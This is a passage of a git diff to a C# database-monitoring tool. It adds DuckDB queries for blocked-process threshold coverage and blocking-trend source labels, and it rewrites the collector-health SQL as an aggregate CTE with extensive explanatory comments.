+        command.CommandText = "SELECT MIN(ev.event_time) FROM " + StoredEventCopies.BlockedProcessReports("server_id = $1 AND event_time >= $2 AND event_time <= $3" + dbClause) + " AS ev";
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = startUtc });
+        command.Parameters.Add(new DuckDBParameter { Value = endUtc });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
+
+        return await command.ExecuteScalarAsync() is DateTime first ? first : null;
+    }
+
+    /// <summary>
+    /// #5098: the blocked process threshold's history over the window, the same three outputs as the Darling viewer's
+    /// <c>BlockedProcessThresholdOnSql</c>: on at the window's start (the newest snapshot at or before it is above zero), the
+    /// earliest snapshot inside (start, end] that is above zero, and whether a snapshot read zero before the threshold was seen on (the newest one at or before the start, or one in the window dated before that first nonzero one).
+    /// <c>capture_time</c> is UTC, like every Lite store column. No snapshots reads as (false, null, false), which
+    /// <see cref="PerformanceMonitor.Common.BlockingThresholdCoverage.Combine"/> leaves unchanged. Opens its own connection.
+    /// </summary>
+    public async Task<(bool OnAtWindowStart, DateTime? FirstOnInWindow, bool SawZeroSnapshot)> GetBlockedProcessThresholdOnAsync(int serverId, DateTime startUtc, DateTime endUtc)
+    {
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = @"
+WITH before AS (
+    SELECT c.value_in_use
+    FROM v_server_config AS c
+    WHERE c.server_id = $1 AND c.configuration_name = 'blocked process threshold (s)' AND c.capture_time <= $2
+    ORDER BY c.capture_time DESC
+    LIMIT 1),
+inside AS (
+    SELECT c.capture_time, c.value_in_use
+    FROM v_server_config AS c
+    WHERE c.server_id = $1 AND c.configuration_name = 'blocked process threshold (s)' AND c.capture_time > $2 AND c.capture_time <= $3),
+first_on AS (
+    SELECT MIN(i.capture_time) AS capture_time FROM inside AS i WHERE i.value_in_use > 0)
+SELECT
+    COALESCE((SELECT b.value_in_use > 0 FROM before AS b), FALSE),
+    (SELECT f.capture_time FROM first_on AS f),
+    EXISTS (SELECT 1 FROM before AS b WHERE b.value_in_use = 0)
+        OR EXISTS (SELECT 1 FROM inside AS i CROSS JOIN first_on AS f
+                   WHERE i.value_in_use = 0 AND (f.capture_time IS NULL OR i.capture_time < f.capture_time))";
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = startUtc });
+        command.Parameters.Add(new DuckDBParameter { Value = endUtc });
+
+        using var reader = await command.ExecuteReaderAsync();
+        await reader.ReadAsync();
+        return (reader.GetBoolean(0), reader.IsDBNull(1) ? null : reader.GetDateTime(1), reader.GetBoolean(2));
+    }
+
+    /// <summary>
+    /// #5098: where the XE blocked process report data starts: the collector's coverage floor (<paramref name="collectorFloorOf"/>,
+    /// the <c>includeAlsoCovered: false</c> probe), the earliest report, and the threshold's history, through
+    /// <see cref="PerformanceMonitor.Common.BlockingThresholdCoverage.Combine"/> (the rule the Darling viewer uses). The three reads run
+    /// one after the other, each on its own connection; a throw from any of them is the caller's, so a failed probe costs only the note.
+    /// </summary>
+    public static async Task<DateTime?> CombineBlockingXeStartAsync(
+        Func<Task<DateTime?>> collectorFloorOf, Func<Task<DateTime?>> earliestReportOf,
+        Func<Task<(bool OnAtWindowStart, DateTime? FirstOnInWindow, bool SawZeroSnapshot)>> thresholdOf)
+    {
+        var collector = await collectorFloorOf();
+        var report = await earliestReportOf();
+        var threshold = await thresholdOf();
+        return PerformanceMonitor.Common.BlockingThresholdCoverage.Combine(
+            collector, report, threshold.OnAtWindowStart, threshold.FirstOnInWindow, threshold.SawZeroSnapshot);
+    }
+
+    /// <summary>#5098: the Blocking tab's XE start for a window: <see cref="CombineBlockingXeStartAsync"/> over this store.</summary>
+    public Task<DateTime?> GetBlockingXeDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null) =>
+        CombineBlockingXeStartAsync(
+            () => GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, serverId, startUtc, endUtc, includeAlsoCovered: false),
+            () => GetEarliestBlockedProcessReportInWindowAsync(serverId, startUtc, endUtc, databaseNames),
+            () => GetBlockedProcessThresholdOnAsync(serverId, startUtc, endUtc));
+
     /// <summary>
     /// Gets blocking incident trend (count of distinct blocking events per time bucket).
     /// Uses blocked_process_reports from Extended Events for more reliable detection.
@@ -1012,19 +1184,19 @@ Group by event_time (when blocking actually occurred) rather than collection_tim
            window (AWS RDS) — so a server with both sources never double-counts. */
         command.CommandText = @"
 WITH bpr AS (
-    SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count
+    SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count, 'blocked-process-report' AS source
     FROM " + StoredEventCopies.BlockedProcessReports("server_id = $1 AND event_time >= $2 AND event_time <= $3" + dbClause) + @" AS ev
     GROUP BY DATE_TRUNC('minute', event_time)
 ),
 dmv AS (
-    SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count
+    SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count, 'DMV snapshot' AS source
     FROM v_dmv_blocking_snapshots
     WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3" + dbClause + @"
     GROUP BY DATE_TRUNC('minute', event_time)
 )
-SELECT bucket, incident_count FROM bpr
+SELECT bucket, incident_count, source FROM bpr
 UNION ALL
-SELECT bucket, incident_count FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
+SELECT bucket, incident_count, source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
 ORDER BY bucket";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
@@ -1040,7 +1212,8 @@ UNION ALL
             items.Add(new TrendPoint
             {
                 Time = reader.GetDateTime(0),
-                Count = reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1))
+                Count = reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1)),
+                Source = reader.IsDBNull(2) ? null : reader.GetString(2)
             });
         }
         return items;
@@ -1330,6 +1503,9 @@ public class TrendPoint
 {
     public DateTime Time { get; set; }
     public int Count { get; set; }
+
+    /// <summary>#5244: which collector answered, "blocked-process-report" or "DMV snapshot", set only by the blocking trend read.</summary>
+    public string? Source { get; set; }
 }
 
 /// <summary>
@@ -1380,6 +1556,17 @@ public static List<DeadlockProcessDetail> ParseFromRows(List<DeadlockRow> rows)
             rows.Select(r => new DeadlockGraphInput(r.DeadlockGraphXml, r.DeadlockTime, r.VictimSqlText, null))).ToList();
 }
 
+/// <summary>
+/// The Blocked Process Reports grid's rows and where a read that filled its own cap stops the grid being complete
+/// (<see cref="LocalDataService.ReadRecentBlockedProcessReportsAsync"/>, #4966).
+/// </summary>
+/// <param name="Rows">The merged rows, newest first, at most <see cref="LocalDataService.BlockedProcessReportGridCap"/> of them
+/// for a grid read.</param>
+/// <param name="CappedSourceStartUtc">The oldest event time the XE read or the DMV read returned, for the one that returned a
+/// full page (the later, when both did): the older reports of that read are not in the grid, whatever the merged count is.
+/// Null when neither read filled its cap.</param>
+public sealed record BlockedProcessReportsRead(List<BlockedProcessReportRow> Rows, DateTime? CappedSourceStartUtc);
+
 /// <summary>
 /// Lite's blocked-process grid row. The alert-consumed members (event time, database, SPID pair,
 /// wait/lock, the query pair, report XML, contentious object, Source) live on the shared
diff --git a/Lite/Services/LocalDataService.BlockingStats.cs b/Lite/Services/LocalDataService.BlockingStats.cs
index 549ec9cd50..dd9e31c3d2 100644
--- a/Lite/Services/LocalDataService.BlockingStats.cs
+++ b/Lite/Services/LocalDataService.BlockingStats.cs
@@ -26,7 +26,7 @@ namespace PerformanceMonitorLite.Services;
 /// Reports grid and the blocking-incident count trend read.
 /// </summary>
 public sealed record BlockingDurationStatsPoint(
-    DateTime Time, int EventCount, long TotalDurationMs, long MaxDurationMs, double AvgDurationMs);
+    DateTime Time, int EventCount, long TotalDurationMs, long MaxDurationMs, double AvgDurationMs, string? Source = null);
 
 /* The DeadlockSeverityStatsPoint record moved to PerformanceMonitor.Common (#2484), because the headless
    service needed the same shape and a third identical copy is how three surfaces end up disagreeing about
@@ -94,7 +94,8 @@ WITH bpr AS (
         COUNT(*) AS event_count,
         CAST(COALESCE(SUM(wait_time_ms), 0) AS BIGINT) AS total_duration_ms,
         CAST(COALESCE(MAX(wait_time_ms), 0) AS BIGINT) AS max_duration_ms,
-        CAST(COALESCE(AVG(wait_time_ms), 0) AS DOUBLE) AS avg_duration_ms
+        CAST(COALESCE(AVG(wait_time_ms), 0) AS DOUBLE) AS avg_duration_ms,
+        'blocked-process-report' AS source
     FROM " + StoredEventCopies.BlockedProcessReports("server_id = $1 AND event_time >= $2 AND event_time <= $3" + dbClause) + @" AS ev
     GROUP BY DATE_TRUNC('minute', event_time)
 ),
@@ -104,14 +105,15 @@ dmv AS (
         COUNT(*) AS event_count,
         CAST(COALESCE(SUM(wait_time_ms), 0) AS BIGINT) AS total_duration_ms,
         CAST(COALESCE(MAX(wait_time_ms), 0) AS BIGINT) AS max_duration_ms,
-        CAST(COALESCE(AVG(wait_time_ms), 0) AS DOUBLE) AS avg_duration_ms
+        CAST(COALESCE(AVG(wait_time_ms), 0) AS DOUBLE) AS avg_duration_ms,
+        'DMV snapshot' AS source
     FROM v_dmv_blocking_snapshots
     WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3" + dbClause + @"
     GROUP BY DATE_TRUNC('minute', event_time)
 )
-SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms FROM bpr
+SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms, source FROM bpr
 UNION ALL
-SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
+SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms, source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
 ORDER BY bucket";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
@@ -129,7 +131,8 @@ UNION ALL
                 reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1)),
                 reader.IsDBNull(2) ? 0 : Convert.ToInt64(reader.GetValue(2)),
                 reader.IsDBNull(3) ? 0 : Convert.ToInt64(reader.GetValue(3)),
-                reader.IsDBNull(4) ? 0 : ToDouble(reader.GetValue(4))));
+                reader.IsDBNull(4) ? 0 : ToDouble(reader.GetValue(4)),
+                reader.IsDBNull(5) ? null : reader.GetString(5)));
         }
 
         return items;
diff --git a/Lite/Services/LocalDataService.CollectionHealth.cs b/Lite/Services/LocalDataService.CollectionHealth.cs
index 67bd05c16e..34e2a85d5d 100644
--- a/Lite/Services/LocalDataService.CollectionHealth.cs
+++ b/Lite/Services/LocalDataService.CollectionHealth.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Threading;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
 using PerformanceMonitor.Analysis.Baselines;
@@ -73,64 +74,174 @@ FROM v_collection_log
     /// both MCP surfaces read this result set POSITIONALLY.
     /// </summary>
     internal const string CollectionHealthSql = $@"
+WITH health AS
+(
+    SELECT
+        collector_name,
+        COUNT(*) AS total_runs,
+        -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
+        -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
+        -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
+        -- the shared predicate is for: NULL under this NOT would have dropped it.
+        SUM(CASE WHEN status = 'SUCCESS'
+                  AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
+                 THEN 1 ELSE 0 END) AS success_count,
+        SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
+        AVG(duration_ms) AS avg_duration_ms,
+        -- #2460: the mean above describes a collector whose runs all cost about the same, and says
+        -- nothing true about one whose runs come in two sizes. query_store on a dense shard reported a
+        -- 13,834 ms average over 1,155 runs where 958 of them yielded nothing and cost ~36 ms, which
+        -- puts the other 197 at ~80,900 ms EACH — each one on its own larger than the whole 60,000 ms
+        -- sweep budget. duration_ms has been written per run since the table existed; nothing had ever
+        -- read it as anything but a mean.
+        --
+        -- p95 rather than the max for the number a decision is made from: a max is one run, so a single
+        -- pathological cycle would make a collector look permanently terrible for the rest of the
+        -- window. p95 also scales itself to the sample — over 3,500 runs it discards the one bad cycle,
+        -- and over the six runs a daily collector gets in a week it lands on the max, which is right,
+        -- because with six samples there is no outlier anyone can afford to throw away. DISC rather
+        -- than CONT so the answer is a duration some run actually took instead of an interpolation
+        -- between the two modes, which would be a number describing no run at all — the exact defect
+        -- this column exists to end. Both engines ignore NULL duration_ms here, as AVG already does.
+        MAX(duration_ms) AS max_duration_ms,
+        PERCENTILE_DISC(0.95) WITHIN GROUP (ORDER BY duration_ms) AS p95_duration_ms,
+        -- SKIPPED counts as a healthy run (dedup / version-gated collectors no-op without being stale)
+        MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
+        MAX(collection_time) AS last_run_time,
+        -- The newest failure OUTRIGHT, text or not: when did this last FAIL is about the run, not the
+        -- message. It can only name a different row than last_error if a failure was written with no text.
+        -- #3240: EXTENSION_MISSING is in the exemplar set for twin-parity with Darling's reads — its stored
+        -- sentence IS the remedy there. Lite's SQL Server collectors never write the status, so on this SKU
+        -- the branch is inert.
+        MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
+        SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
+        -- YIELDED = the 1s LOCK_TIMEOUT guard fired (#1805): deliberate, benign for collection,
+        -- counted apart from errors because clustering here is a signal about the TARGET's lock
+        -- contention rather than a monitoring fault.
+        SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
+        -- #1837: how many of the window's runs carried a note (an enumeration that yielded 0 items, items
+        -- whose enumeration probe failed). Gated on SUCCESS specifically, rather than on every non-failure
+        -- status: the runners attach a note only to the SUCCESS write, and the looser complement would drag
+        -- SESSION_MISSING and CANCELLED messages into a column whose whole claim is that it is NOT an
+        -- error. note_count = total_runs is the persistently-empty signal the operator is actually looking
+        -- for: EVERY run this week came back with nothing. Display text only: no band, no count, no
+        -- threshold reads it, and a legitimately empty target (no user databases, no AGs) stays HEALTHY.
+        COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
+        -- #2804: runs the #2673 wall-clock budget abandoned. APPENDED, never inserted — this result set
+        -- is read positionally and Darling's CollectionHealthSql mirrors these ordinals, so a mid-list
+        -- insert would silently re-map every later column in whichever surface was not edited with it.
+        --
+        -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
+        -- window can still hold cycles written before #2803 gave abandonment its own status:
+        -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
+        -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
+        -- filter correct against current writes and silently wrong against older ones, failing in
+        -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
+        -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
+        -- for query_store), so equality against one rendered sentence matches one collector.
+        SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
+                 THEN 1 ELSE 0 END) AS abandoned_count,
+        -- #3010: the newest DENIAL on its own, which is what dates the last_error slot below.
+        -- last_error_time cannot stand in for it -- that column is a MAX over ERROR and PERMISSIONS
+        -- together, so on a collector carrying both it hands a reader an error's instant and lets them
+        -- call it a denial. Compared against last_success_time this separates a collector still being
+        -- refused from one whose refusals all predate a later success. APPENDED, and Darling's
+        -- CollectionHealthSql mirrors the ordinal, because both are read positionally.
+        MAX(CASE WHEN status = 'PERMISSIONS' THEN collection_time END) AS last_denied_time,
+        -- #3017: what the spend BOUGHT. Every other statistic on a health row describes cost -- total_runs,
+        -- the three durations, and the sweep-pressure roll-up built from them -- and the rows figure lived
+        -- on a different tool over a different (hourly, fleet-wide) series, so correlating spend against
+        -- output was a join a reader had to know to make. Read from THIS query's own window so cost and
+        -- output cannot describe different runs, the same reason #3010's two instants come out of one
+        -- aggregate. COALESCE so a zero is unambiguous at the store: without it a collector whose every
+        -- rows_collected is NULL returns NULL, which a reader would have to guess between not-measured and
+        -- stored-nothing, and the whole point is that the second becomes a fact rather than an absence.
+        -- APPENDED, and Darling's CollectionHealthSql mirrors both ordinals, because both are read
+        -- positionally.
+        COALESCE(SUM(rows_collected), 0) AS rows_stored,
+        -- The denominator's partner, and the honest half of a cost/output pair: 12 rows over 3 of 79,333
+        -- runs is a different collector from 12 rows over all of them. get_pg_blocking already reports
+        -- captures_with_blocking beside captures_total off this same rows_collected > 0 test.
+        SUM(CASE WHEN rows_collected > 0 THEN 1 ELSE 0 END) AS runs_with_rows,
+        -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed — the
+        -- EXTENSION_MISSING status Darling's fault mapper split out of PERMISSIONS. Lite's SQL Server
+        -- collectors never write it, so this counts 0 on this SKU; selected anyway because the two health
+        -- reads are ordinal twins and the shared classifier takes the count. APPENDED, read positionally.
+        SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
+        -- #3754: runs whose XE session was missing or could not be created - Darling's SESSION_MISSING
+        -- status. Lite never writes it: its long-query XE reader swallows a permission-denied session read to
+        -- zero rows, and an ensure failure (and, since #4731, a blocked-process or deadlock read failure)
+        -- classifies PERMISSIONS / ERROR through XeSessionEnsureException,
+        -- so this counts 0 on this SKU; selected anyway because the two health reads are ordinal twins and
+        -- the shared output finding takes the count beside error_count as the runs that could not read.
+        -- Counted apart from error_count on purpose - it is not fed to the band. APPENDED, read positionally.
+        SUM(CASE WHEN status = 'SESSION_MISSING' THEN 1 ELSE 0 END) AS session_missing_count,
+        -- #3819: the instant the current skip streak began AFTER: the newest run that was NOT a named skip.
+        -- The vocabulary is interpolated from CollectorRuntimePrecondition, which is where each of those
+        -- statuses is declared, so this cannot ask about three of four after a fourth is split out. A NULL
+        -- status counts as non-skip: it is not one of the declared skip words, and reading it as one would
+        -- let an unwritten status manufacture a streak.
+        MAX(CASE WHEN status IS NULL
+                  OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
+                 THEN collection_time END) AS last_non_skip_time,
+        -- The newest run that stored anything. Off the same rows_collected > 0 test as runs_with_rows above,
+        -- so productive means one thing on this row. Compared against last_non_skip_time it says the
+        -- productivity sits BEFORE the streak rather than inside it, which is the ORDER that makes this a
+        -- regression rather than two unrelated facts.
+        MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
+        -- #5371: the instants the keyed lookups below read at. The statement used to rank every run of the
+        -- window four times (ROW_NUMBER over each collector, sorted on collection_time and a VARCHAR) to
+        -- reach the newest row of four classes; that sorts the whole window. These are plain aggregates, so
+        -- the single pass over the window needs no sort, and each lookup then reads only the rows AT one
+        -- instant. Twins Darling's CollectionHealthSql (#4955), except the lookups here are aggregates
+        -- rather than ORDER BY ... LIMIT 1, which DuckDB plans as a ROW_NUMBER window of its own.
+        MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING')
+                  AND error_message IS NOT NULL
+                 THEN collection_time END) AS last_failure_text_time,
+        MAX(CASE WHEN status = 'SUCCESS' AND error_message IS NOT NULL THEN collection_time END) AS last_note_time,
+        MAX(slowest_item_ms) AS dearest_item_ms,
+        -- #3885: the newest run that BREAKS the zero-row-success streak, and the status the first of them
+        -- carries at that instant (the greater status sorts first at an exact tie, as it always did). The
+        -- abandonment exclusion is success_count's own (#2926): a pre-#2803 abandoned cycle is stored as
+        -- SUCCESS with zero rows plus the budget note, which is data LOSS rather than a source that went
+        -- quiet. status is NOT NULL in the table, so the arg_max below never skips a row on a NULL argument.
+        MAX(CASE WHEN NOT (status = 'SUCCESS'
+                           AND COALESCE(rows_collected, 0) = 0
+                           AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql})
+                 THEN collection_time END) AS last_streak_break_time,
+        arg_max(status, (collection_time, status))
+            FILTER (WHERE NOT (status = 'SUCCESS'
+                               AND COALESCE(rows_collected, 0) = 0
+                               AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql})) AS last_streak_break_status
+    FROM v_collection_log
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    GROUP BY collector_name
+)
 SELECT
-    collector_name,
-    COUNT(*) AS total_runs,
-    -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
-    -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
-    -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
-    -- the shared predicate is for: NULL under this NOT would have dropped it.
-    SUM(CASE WHEN status = 'SUCCESS'
-              AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
-             THEN 1 ELSE 0 END) AS success_count,
-    SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
-    AVG(duration_ms) AS avg_duration_ms,
-    -- #2460: the mean above describes a collector whose runs all cost about the same, and says
-    -- nothing true about one whose runs come in two sizes. query_store on a dense shard reported a
-    -- 13,834 ms average over 1,155 runs where 958 of them yielded nothing and cost ~36 ms, which
-    -- puts the other 197 at ~80,900 ms EACH — each one on its own larger than the whole 60,000 ms
-    -- sweep budget. duration_ms has been written per run since the table existed; nothing had ever
-    -- read it as anything but a mean.
-    --
-    -- p95 rather than the max for the number a decision is made from: a max is one run, so a single
-    -- pathological cycle would make a collector look permanently terrible for the rest of the
-    -- window. p95 also scales itself to the sample — over 3,500 runs it discards the one bad cycle,
-    -- and over the six runs a daily collector gets in a week it lands on the max, which is right,
-    -- because with six samples there is no outlier anyone can afford to throw away. DISC rather
-    -- than CONT so the answer is a duration some run actually took instead of an interpolation
-    -- between the two modes, which would be a number describing no run at all — the exact defect
-    -- this column exists to end. Both engines ignore NULL duration_ms here, as AVG already does.
-    MAX(duration_ms) AS max_duration_ms,
-    PERCENTILE_DISC(0.95) WITHIN GROUP (ORDER BY duration_ms) AS p95_duration_ms,
-    -- SKIPPED counts as a healthy run (dedup / version-gated collectors no-op without being stale)
-    MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
-    MAX(collection_time) AS last_run_time,
-    -- #1855: the message from the NEWEST failing run, not MAX()'s lexicographically greatest one. The
-    -- status re-check is load-bearing rather than belt-and-braces: when no failing run in the window
-    -- carried text, error_rank = 1 falls through to the newest row of ANY class, and without it a
-    -- SUCCESS row's note could surface here as a fake last error.
-    -- #3240: EXTENSION_MISSING is in the exemplar set for twin-parity with Darling's reads — its stored
-    -- sentence IS the remedy there. Lite's SQL Server collectors never write the status, so on this SKU
-    -- the branch is inert.
-    MAX(CASE WHEN error_rank = 1 AND status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) AS last_error,
-    -- The newest failure OUTRIGHT, text or not: when did this last FAIL is about the run, not the
-    -- message. It can only name a different row than last_error if a failure was written with no text.
-    MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
-    SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
-    -- YIELDED = the 1s LOCK_TIMEOUT guard fired (#1805): deliberate, benign for collection,
-    -- counted apart from errors because clustering here is a signal about the TARGET's lock
-    -- contention rather than a monitoring fault.
-    SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
-    -- #1837: the note a SUCCEEDING run can leave behind (an enumeration that yielded 0 items, items
-    -- whose enumeration probe failed). Gated on SUCCESS specifically, rather than on every non-failure status:
-    -- the runners attach a note only to the SUCCESS write, and the looser complement would drag
-    -- SESSION_MISSING and CANCELLED messages into a column whose whole claim is that it is NOT an
-    -- error. Display text only: no band, no count, no threshold reads it, and a legitimately empty
-    -- target (no user databases, no AGs) stays HEALTHY exactly as before.
-    MAX(CASE WHEN note_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS last_note,
-    -- How many of the window's runs carried one. note_count = total_runs is the persistently-empty
-    -- signal the operator is actually looking for: EVERY run this week came back with nothing.
-    COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
+    h.collector_name,
+    h.total_runs,
+    h.success_count,
+    h.error_count,
+    h.avg_duration_ms,
+    h.max_duration_ms,
+    h.p95_duration_ms,
+    h.last_success_time,
+    h.last_run_time,
+    -- #1855: the message from the NEWEST failing run, not MAX()'s lexicographically greatest one: the
+    -- failing rows AT the newest failing-with-text instant, the greater message first at an exact tie
+    -- (error_message DESC, which breaks it identically on DuckDB and Postgres where binary-vs-locale
+    -- collation would not). A failure written with no text is not a candidate, so no such run means
+    -- no row and a NULL here - and a SUCCESS row's note can never surface as a fake last error.
+    failed.error_message AS last_error,
+    h.last_error_time,
+    h.permission_denied_count,
+    h.yield_count,
+    -- The newest SUCCESS run that carried a note (the same instant-then-greater-message rule). Text
+    -- does not sort like the number #1837's probe note carries: 12 item(s) sorts below 9 item(s), so
+    -- collection_time settles it and the message only breaks an exact-timestamp tie.
+    noted.error_message AS last_note,
+    h.note_count,
     -- #1852: the one thing that makes a persistently-empty enumeration interesting — does this target
     -- actually HAVE user databases? Zero items on a server with none is legitimate and stays quiet;
     -- zero items on a server that HAS them is a login that cannot enter any, or a filter that
@@ -167,192 +278,277 @@ ELSE 0
     -- opposite fixes. (No double quotes anywhere in this string: it is a verbatim literal, where a
     -- lone quote ends it.) The four parts compose into slowest_item_ms * fanout_items /
     -- slowest_run_duration_ms, which is 1.0 for an even fan-out and 6.1 for the dominated example.
-    -- All four come from the SAME row via slowest_rank: parts taken from different runs would
-    -- compose into a ratio describing no run that ever happened. Twins Darling's read.
-    MAX(CASE WHEN slowest_rank = 1 THEN fanout_item_count END) AS fanout_items,
-    MAX(CASE WHEN slowest_rank = 1 THEN slowest_item END) AS slowest_item,
-    MAX(CASE WHEN slowest_rank = 1 THEN slowest_item_ms END) AS slowest_item_ms,
-    MAX(CASE WHEN slowest_rank = 1 THEN duration_ms END) AS slowest_run_duration_ms,
-    -- #2804: runs the #2673 wall-clock budget abandoned. APPENDED, never inserted — this result set
-    -- is read positionally and Darling's CollectionHealthSql mirrors these ordinals, so a mid-list
-    -- insert would silently re-map every later column in whichever surface was not edited with it.
-    --
-    -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
-    -- window can still hold cycles written before #2803 gave abandonment its own status:
-    -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
-    -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
-    -- filter correct against current writes and silently wrong against older ones, failing in
-    -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
-    -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
-    -- for query_store), so equality against one rendered sentence matches one collector.
-    SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
-             THEN 1 ELSE 0 END) AS abandoned_count,
-    -- #3010: the newest DENIAL on its own, which is what dates the last_error slot above.
-    -- last_error_time cannot stand in for it -- that column is a MAX over ERROR and PERMISSIONS
-    -- together, so on a collector carrying both it hands a reader an error's instant and lets them
-    -- call it a denial. Compared against last_success_time this separates a collector still being
-    -- refused from one whose refusals all predate a later success. APPENDED, and Darling's
-    -- CollectionHealthSql mirrors the ordinal, because both are read positionally.
-    MAX(CASE WHEN status = 'PERMISSIONS' THEN collection_time END) AS last_denied_time,
-    -- #3017: what the spend BOUGHT. Every other statistic on a health row describes cost -- total_runs,
-    -- the three durations, and the sweep-pressure roll-up built from them -- and the rows figure lived
-    -- on a different tool over a different (hourly, fleet-wide) series, so correlating spend against
-    -- output was a join a reader had to know to make. Read from THIS query's own window so cost and
-    -- output cannot describe different runs, the same reason #3010's two instants come out of one
-    -- aggregate. COALESCE so a zero is unambiguous at the store: without it a collector whose every
-    -- rows_collected is NULL returns NULL, which a reader would have to guess between not-measured and
-    -- stored-nothing, and the whole point is that the second becomes a fact rather than an absence.
-    -- APPENDED, and Darling's CollectionHealthSql mirrors both ordinals, because both are read
-    -- positionally.
-    COALESCE(SUM(rows_collected), 0) AS rows_stored,
-    -- The denominator's partner, and the honest half of a cost/output pair: 12 rows over 3 of 79,333
-    -- runs is a different collector from 12 rows over all of them. get_pg_blocking already reports
-    -- captures_with_blocking beside captures_total off this same rows_collected > 0 test.
-    SUM(CASE WHEN rows_collected > 0 THEN 1 ELSE 0 END) AS runs_with_rows,
-    -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed — the
-    -- EXTENSION_MISSING status Darling's fault mapper split out of PERMISSIONS. Lite's SQL Server
-    -- collectors never write it, so this counts 0 on this SKU; selected anyway because the two health
-    -- reads are ordinal twins and the shared classifier takes the count. APPENDED, read positionally.
-    SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
-    -- #3754: runs whose XE session was missing or could not be created - Darling's SESSION_MISSING
-    -- status. Lite never writes it: its long-query XE reader swallows a permission-denied session read to
-    -- zero rows, and an ensure failure (and, since #4731, a blocked-process or deadlock read failure)
-    -- classifies PERMISSIONS / ERROR through XeSessionEnsureException,
-    -- so this counts 0 on this SKU; selected anyway because the two health reads are ordinal twins and
-    -- the shared output finding takes the count beside error_count as the runs that could not read.
-    -- Counted apart from error_count on purpose - it is not fed to the band. APPENDED, read positionally.
